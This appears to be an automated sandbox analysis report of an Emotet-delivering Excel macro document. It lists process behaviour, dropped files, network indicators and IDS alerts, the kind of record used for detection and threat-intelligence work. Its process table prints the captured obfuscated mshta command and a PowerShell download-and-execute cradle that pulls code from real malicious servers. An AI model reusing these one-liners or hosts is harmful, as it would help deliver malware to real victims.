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File name:

2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2

Full analysis: https://app.any.run/tasks/705030ef-3ffd-406f-aa4c-928de3d857a5
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: January 24, 2022, 21:41:47
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros40
loader
trojan
emotet-doc
emotet
Indicators:
MIME: application/vnd.ms-excel
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: xXx, Last Saved By: xXx, Name of Creating Application: Microsoft Excel, Create Time/Date: Mon Jan 24 14:50:55 2022, Last Saved Time/Date: Mon Jan 24 15:24:17 2022, Security: 0
MD5:

9B6B3FBFE7C04E839995635FD9B0AF90

SHA1:

2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2

SHA256:

9FE5535425D6EFBB455AE7391D794518574EEDEEFA8EFF4C85382D2B7A1B8DFF

SSDEEP:

3072:AH+Hyms/k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIixe53lGvFTQ3IzxgdrvxpU0f:e+Hyms/k3hbdlylKsgqopeJBWhZFVE+i

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  • MALICIOUS

    • Starts CMD.EXE for commands execution

      • EXCEL.EXE (PID: 3368)
    • Unusual execution from Microsoft Office

      • EXCEL.EXE (PID: 3368)
    • Executes PowerShell scripts

      • mshta.exe (PID: 2828)
    • Loads dropped or rewritten executable

      • SearchProtocolHost.exe (PID: 3776)
      • rundll32.exe (PID: 2948)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2112)
      • rundll32.exe (PID: 3648)
    • Connects to CnC server

      • rundll32.exe (PID: 2112)
    • Changes the autorun value in the registry

      • rundll32.exe (PID: 2112)
  • SUSPICIOUS

    • Reads default file associations for system extensions

      • SearchProtocolHost.exe (PID: 3776)
      • EXCEL.EXE (PID: 3368)
    • Reads Microsoft Outlook installation path

      • mshta.exe (PID: 2828)
    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cmd.exe (PID: 2452)
    • Checks supported languages

      • cmd.exe (PID: 2452)
      • mshta.exe (PID: 2828)
      • powershell.exe (PID: 3680)
      • cmd.exe (PID: 2908)
    • Reads the computer name

      • powershell.exe (PID: 3680)
      • mshta.exe (PID: 2828)
    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 3680)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 1032)
    • Drops a file with a compile date too recent

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 1032)
    • Reads Environment values

      • powershell.exe (PID: 3680)
    • Uses RUNDLL32.EXE to load library

      • cmd.exe (PID: 2908)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2948)
      • rundll32.exe (PID: 3648)
    • Starts itself from another location

      • rundll32.exe (PID: 2948)
    • Application launched itself

      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 3648)
  • INFO

    • Reads the computer name

      • EXCEL.EXE (PID: 3368)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 2112)
    • Checks supported languages

      • EXCEL.EXE (PID: 3368)
      • rundll32.exe (PID: 2948)
      • rundll32.exe (PID: 1032)
      • rundll32.exe (PID: 3648)
      • rundll32.exe (PID: 2112)
    • Creates files in the user directory

      • EXCEL.EXE (PID: 3368)
    • Reads internet explorer settings

      • mshta.exe (PID: 2828)
    • Checks Windows Trust Settings

      • powershell.exe (PID: 3680)
      • rundll32.exe (PID: 2112)
    • Reads Microsoft Office registry keys

      • EXCEL.EXE (PID: 3368)
    • Reads settings of System Certificates

      • rundll32.exe (PID: 2112)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.xls | Microsoft Excel sheet (78.9)

EXIF

FlashPix

HeadingPairs:
  • Worksheets
  • 2
  • Excel 4.0 Macros
  • 1
TitleOfParts:
  • Time Card
  • Sheet1
  • XXL
HyperlinksChanged: No
SharedDoc: No
LinksUpToDate: No
ScaleCrop: No
AppVersion: 16
Company: -
CodePage: Windows Cyrillic
Security: None
ModifyDate: 2022:01:24 15:24:17
CreateDate: 2022:01:24 14:50:55
Software: Microsoft Excel
LastModifiedBy: xXx
Author: xXx
No data.
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Total processes
48
Monitored processes
10
Malicious processes
6
Suspicious processes
2

Behavior graph

Click at the process to see the details
start excel.exe no specs cmd.exe no specs mshta.exe powershell.exe searchprotocolhost.exe no specs cmd.exe no specs rundll32.exe no specs rundll32.exe rundll32.exe no specs rundll32.exe

Process information

PID
CMD
Path
Indicators
Parent process
3368"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /ddeC:\Program Files\Microsoft Office\Office14\EXCEL.EXEExplorer.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Excel
Exit code:
0
Version:
14.0.6024.1000
Modules
Images
c:\windows\system32\ntdll.dll
c:\program files\microsoft office\office14\excel.exe
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
2452cmd /c ms^ht^a ht^t^p:/^/0x^5cf^f^39c^3^/^sec^/^se4.htmlC:\Windows\system32\cmd.exeEXCEL.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2828mshta http://0x5cff39c3/sec/se4.htmlC:\Windows\system32\mshta.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
11.00.9600.16428 (winblue_gdr.131013-1700)
Modules
Images
c:\windows\system32\mshta.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\api-ms-win-downlevel-version-l1-1-0.dll
c:\windows\system32\version.dll
3680"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://92.255.57.195/sec/se4.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
3776"C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe2_ Global\UsGthrCtrlFltPipeMssGthrPipe2 1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" C:\Windows\system32\SearchProtocolHost.exeSearchIndexer.exe
User:
SYSTEM
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Microsoft Windows Search Protocol Host
Exit code:
0
Version:
7.00.7601.24542 (win7sp1_ldr_escrow.191209-2211)
Modules
Images
c:\windows\system32\searchprotocolhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2908"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\system32\cmd.exepowershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2948C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyStringC:\Windows\SysWow64\rundll32.execmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imagehlp.dll
1032C:\Windows\system32\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\imagehlp.dll
3648C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Okwmdhigs\wtnnuogd.mex",ivzziKWdutbC:\Windows\system32\rundll32.exerundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imagehlp.dll
c:\windows\system32\msvcrt.dll
2112C:\Windows\system32\rundll32.exe "C:\Users\admin\AppData\Local\Okwmdhigs\wtnnuogd.mex",DllRegisterServerC:\Windows\system32\rundll32.exe
rundll32.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows host process (Rundll32)
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\rundll32.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\usp10.dll
c:\windows\system32\lpk.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
Total events
8 809
Read events
8 650
Write events
142
Delete events
17

Modification events

(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems
Operation:writeName:=~>
Value:
3D7E3E00280D0000010000000000000000000000
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1033
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1041
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1046
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1036
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1031
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1040
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1049
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:3082
Value:
Off
(PID) Process:(3368) EXCEL.EXEKey:HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\LanguageResources\EnabledLanguages
Operation:writeName:1042
Value:
Off
Executable files
2
Suspicious files
10
Text files
1
Unknown types
4

Dropped files

PID
Process
Filename
Type
3368EXCEL.EXEC:\Users\admin\AppData\Local\Temp\CVR4E1D.tmp.cvr
MD5:
SHA256:
3368EXCEL.EXEC:\Users\admin\AppData\Local\Temp\~DFBEA6F4D5306461E2.TMPgmc
MD5:871C0382EAC3908D4A5C036E6A357558
SHA256:E7A107D548B99D866C9E4092B1C8B9A3D8657226E7F5B834909E39DC28295972
3368EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.datini
MD5:52E3ED791F49815A3D3ED6293D2D6391
SHA256:6147C1D77E3B35C8C9F31E889F04BE6345347A5026E634F5588CE65801C9DC8B
3368EXCEL.EXEC:\Users\admin\Desktop\2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2.xlsdocument
MD5:1FFEEFA4035BEE075D06B938005A18C1
SHA256:17A43C0E43B0DEA6187ADA932D4112EE91D6E94A91848BCC432911B676203777
3368EXCEL.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\2C836DB189DFB4BC5BCDD2E75158E8C25FFB40C2.xls.LNKlnk
MD5:B21567FB1AD890F1976857D7BE0ACADF
SHA256:2B303D081EDE91BB91DED3EBDB1E0285F6E7C22528BF81FA99264C38D3DA9308
3680powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:D3C284009A5790C3AA90D7C5D620CA65
SHA256:6C12FFF497059706D50431BB47C624FA24A8A7F9B6D52B2AB251FDC588E00E39
2112rundll32.exeC:\Users\admin\AppData\Local\Temp\TarB61F.tmpcat
MD5:D99661D0893A52A0700B8AE68457351A
SHA256:BDD5111162A6FA25682E18FA74E37E676D49CAFCB5B7207E98E5256D1EF0D003
2112rundll32.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\57C8EDB95DF3F0AD4EE2DC2B8CFD4157binary
MD5:B2A46030F18FFCE29536C7300F1EC13F
SHA256:75608E9DB86E9451F4022757E937E9EEADEC66D9AC0ED9541EEFA5509697E10B
3680powershell.exeC:\Users\Public\Documents\ssd.dllexecutable
MD5:B244A60743872A2D8BD3BC346208EA1F
SHA256:5BBC37B43FDCAE2FAFDD7809B6771B81F6D86E0A3B9214EFB7C5961E3D12DFAE
2828mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\PO2HN1X2\se4[1].htmbinary
MD5:EE3D40A393DFC20684FDCD4282DA0284
SHA256:2C8F62708A16B068433ED479A0E16143257BD15B91EF904F30642CD0E24716DD
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HTTP(S) requests
5
TCP/UDP connections
9
DNS requests
2
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2828
mshta.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.html
RU
binary
10.9 Kb
malicious
3680
powershell.exe
GET
200
31.31.196.8:80
http://firstfitschool.com/83wg6z/oUCHXJmm/
RU
executable
676 Kb
malicious
3680
powershell.exe
GET
200
92.255.57.195:80
http://92.255.57.195/sec/se4.png
RU
text
1.14 Kb
malicious
2112
rundll32.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?acc2cc4db1f597b5
US
compressed
4.70 Kb
whitelisted
2112
rundll32.exe
GET
200
93.184.221.240:80
http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?8427c2e101578ede
US
compressed
59.9 Kb
whitelisted
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Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2112
rundll32.exe
45.138.98.34:80
malicious
3680
powershell.exe
31.31.196.8:80
firstfitschool.com
Domain names registrar REG.RU, Ltd
RU
malicious
3680
powershell.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
2828
mshta.exe
92.255.57.195:80
Telecom SP Ltd
RU
malicious
2112
rundll32.exe
93.184.221.240:80
ctldl.windowsupdate.com
MCI Communications Services, Inc. d/b/a Verizon Business
US
whitelisted
2112
rundll32.exe
69.16.218.101:8080
Liquid Web, L.L.C
US
malicious

DNS requests

Domain
IP
Reputation
firstfitschool.com
  • 31.31.196.8
malicious
ctldl.windowsupdate.com
  • 93.184.221.240
whitelisted

Threats

PID
Process
Class
Message
3680
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3680
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3680
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
2112
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 17
2112
rundll32.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 21
3 ETPRO signatures available at the full report
No debug info